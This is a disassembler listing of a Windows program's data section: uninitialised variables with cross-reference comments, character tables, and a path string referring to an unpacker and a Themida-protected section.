dword_43AC94	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43AC98	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43AC9C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43ACA0	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43ACA4	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43ACA8	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43ACAC	dd 0			; DATA XREF: sub_40981F+B3w
dword_43ACB0	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43ACB4	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43ACB8	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43ACBC	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43ACC0	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43ACC4	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43ACC8	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43ACCC	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43ACD0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43ACD4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43ACD8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43ACDC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43ACE0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43ACE4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43ACE8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43ACEC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43ACF0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43ACF4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:00415550r
dword_43ACF8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43ACFC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43AD00	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43AD04	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43AD08	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43AD0C	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43AD10	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43AD14	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43AD18	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43AD1C	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43AD20	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43AD24	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43AD28	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43AD2C	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43AD30	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43AD34	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43AD38	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43AD3C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43AD40	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43AD44	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43AD48	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43AD4C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43AD50	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43AD54	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43AD58	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43AD5C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43AD60	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43AD64	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43AD68	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43AD6C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43AD70	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43AD74	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43AD78	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43AD7C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43AD80	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43AD84	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43AD88	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43AD8C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43AD90	dd 0			; DATA XREF: sub_40981F+A73w
dword_43AD94	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43AD98	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43AD9C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43ADA0	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43ADA4	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43ADA8	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43ADAC	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43ADB0	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43ADB4	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43ADB8	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43ADBC	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43ADC0	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43ADC4	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43ADC8	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4624r
dword_43ADCC	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43ADD0	dd 0			; DATA XREF: sub_40981F+112w
dword_43ADD4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43ADD8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43ADDC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43ADE0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43ADE4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43ADE8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43ADEC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43ADF0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43ADF4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43ADF8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43ADFC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43AE00	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43AE04	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511F+55r
dword_43AE08	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43AE0C	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43AE10	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43AE14	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43AE18	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43AE1C	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43AE20	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43AE24	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43AE28	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43AE2C	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43AE30	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43AE34	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43AE38	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43AE3C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43AE40	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43AE44	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43AE48	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43AE50	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43AE54	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43AE58	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43AE5C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43AE60	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43AE64	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43AE68	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43AE6C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43AE70	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43AE74	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43AE78	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43AE7C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43AE80	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43AE84	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43AE88	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43AE8C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43AE90	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43AE94	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43AE98	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43AE9C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43AEA0	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43AEA4	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43AEA8	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43AEAC	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43AEB0	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43AEB4	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43AEB8	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43AEBC	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43AEC0	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43AEC4	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43AEC8	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43B0CC	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43B0E0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43B0E4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43B0E8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43B0EC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43B0F0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43B124	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43B12C	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43B164	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_43F164	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_43F168	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_43F1A0	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_43F1A8	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_43F204	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_43F404	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_43F408	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_43F464	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_43F664	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_43F668	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_43F868	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_43FA70	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_43FA88	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_4405F0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4407F0	dd 0			; DATA XREF: sub_416D5C+41w
					; sub_416E97+40w ...
dword_4407F4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4407F8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_416810+AEw ...
dword_4407FC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_440800	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_440804	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_440808	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3357r ...
		align 4
		dd 13D1h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 0D54Ah dup(0)
dword_485578	dd 2AB9h dup(0)		; DATA XREF: Themida_:0053C052o
dword_49005C	dd 0F565h dup(0)	; DATA XREF: ___:off_427B6Co
dword_4CD5F0	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_4CD5F8	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_4CD5FC	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_4CD67C	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_4CD6BC	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_4CD74C	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_4CD750	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_4CD760	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_4CD768	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_4CD76C	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_4CD770	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_4CD77C	dd 0			; DATA XREF: ___:004155C6r
		dd 0
dword_4CD784	dd 1Bh dup(0)		; DATA XREF: sub_415D6A+8Do
dword_4CD7F0	dd 0			; DATA XREF: sub_416FA4+16o
					; sub_416FC3+19o
dword_4CD7F4	dd 65h dup(0)		; DATA XREF: sub_416F57+3Do
byte_4CD988	db 0			; DATA XREF: sub_416C55+6Ar
					; sub_416C55+98w
		align 4
		dd 2 dup(0)
dword_4CD994	dd 0			; DATA XREF: sub_417D73+Aw
dword_4CD998	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_4CD9A0	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_4CD9A2	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_4CD9A6	dw 0			; DATA XREF: sub_4186B1+3Br
word_4CD9A8	dw 0			; DATA XREF: sub_4186B1+2Er
word_4CD9AA	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_4CD9B0	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_4CD9B4	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_4CD9B8	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_4CD9BC	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
dword_4CD9D0	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
dword_4CD9D4	dd 2420B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_4CD9DC	dd 2420B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_4CD9E0	dd 0			; DATA XREF: sub_422492+36r
dword_4CD9E4	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_4CD9EC	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4CD9F4	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_4CD9F8	dd 0			; DATA XREF: sub_419B07+27w
dword_4CD9FC	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_4CDA00	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_4CDA08	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_4CDA0C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_4CDA14	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_4CDA18	dd 0			; DATA XREF: sub_41AB54r
dword_4CDA1C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_4CDA20	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_4CDA24	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_4CDA28	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_4CDA2C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_4CDA30	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_4CDA34	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_4CDA38	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_4CDA3C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_4CDA40	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_4CDA48	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_4CDA58	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_4CDA60	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_4CDA64	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_4CDA68	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_4CD9ECo
		align 4
		dd 3Ah dup(0)
dword_4CDB70	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_4CDB74	dd 0			; DATA XREF: sub_41F84C+21r
dword_4CDB78	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_4CDB7C	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_4CDB80	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_4CDB88	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_4CDB8A	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_4CDB8C	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_4CDBA8	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_4CDBAC	dd 0			; DATA XREF: sub_42074B+4Dw
dword_4CDBB0	dd 0			; DATA XREF: sub_42074B+31w
dword_4CDBB4	dd 0			; DATA XREF: sub_42074B+52w
dword_4CDBB8	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_4CDBC0	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_4CDBC8	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_4CDBCC	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_4CDC0C	dw 0			; DATA XREF: sub_420BAC+A8r
word_4CDC0E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_4CDC10	dw 0			; DATA XREF: sub_420BAC+CAr
word_4CDC12	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_4CDC14	dw 0			; DATA XREF: sub_420BAC+C0r
word_4CDC16	dw 0			; DATA XREF: sub_420BAC+B8r
word_4CDC18	dw 0			; DATA XREF: sub_420BAC+B0r
word_4CDC1A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_4CDC1C	dd 0			; DATA XREF: sub_42094E+4Br
dword_4CDC20	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_4CDC60	dw 0			; DATA XREF: sub_420BAC+46r
word_4CDC62	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_4CDC64	dw 0			; DATA XREF: sub_420BAC+67r
word_4CDC66	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_4CDC68	dw 0			; DATA XREF: sub_420BAC+5Dr
word_4CDC6A	dw 0			; DATA XREF: sub_420BAC+55r
word_4CDC6C	dw 0			; DATA XREF: sub_420BAC+4Dr
word_4CDC6E	dw 0			; DATA XREF: sub_420BAC+3Er
dword_4CDC70	dd 0			; DATA XREF: sub_42094E+80r
dword_4CDC74	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_4CDC78	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_4CDC7C	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_4CDC80	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_4CDC84	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_4CDC88	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_4CDC8C	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_4CDC90	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_4CDC94	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_4CDC98	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_4CDCA0	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_4CDCA4	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_4CDCA8	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_4CDCAC	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_4CDCB0	dd 2421140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_4CDCC0	dd 400h	dup(0)		; DATA XREF: ___:off_436388o
					; ___:00436390o
dword_4CECC0	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_4CECE0	dd 2420650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_4CECE4	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_4CEDE0	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_4CEDE4	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_4CEDF0	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_4CEDFC	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_4CEE00	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4CEF00	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_4CEF01	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4CF004	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_4CF008	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_4CF00C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_4CF010	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_4CF014	dd 0			; DATA XREF: sub_41ADB4+22Dr
					; sub_41ADB4+260r ...
dword_4CF018	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
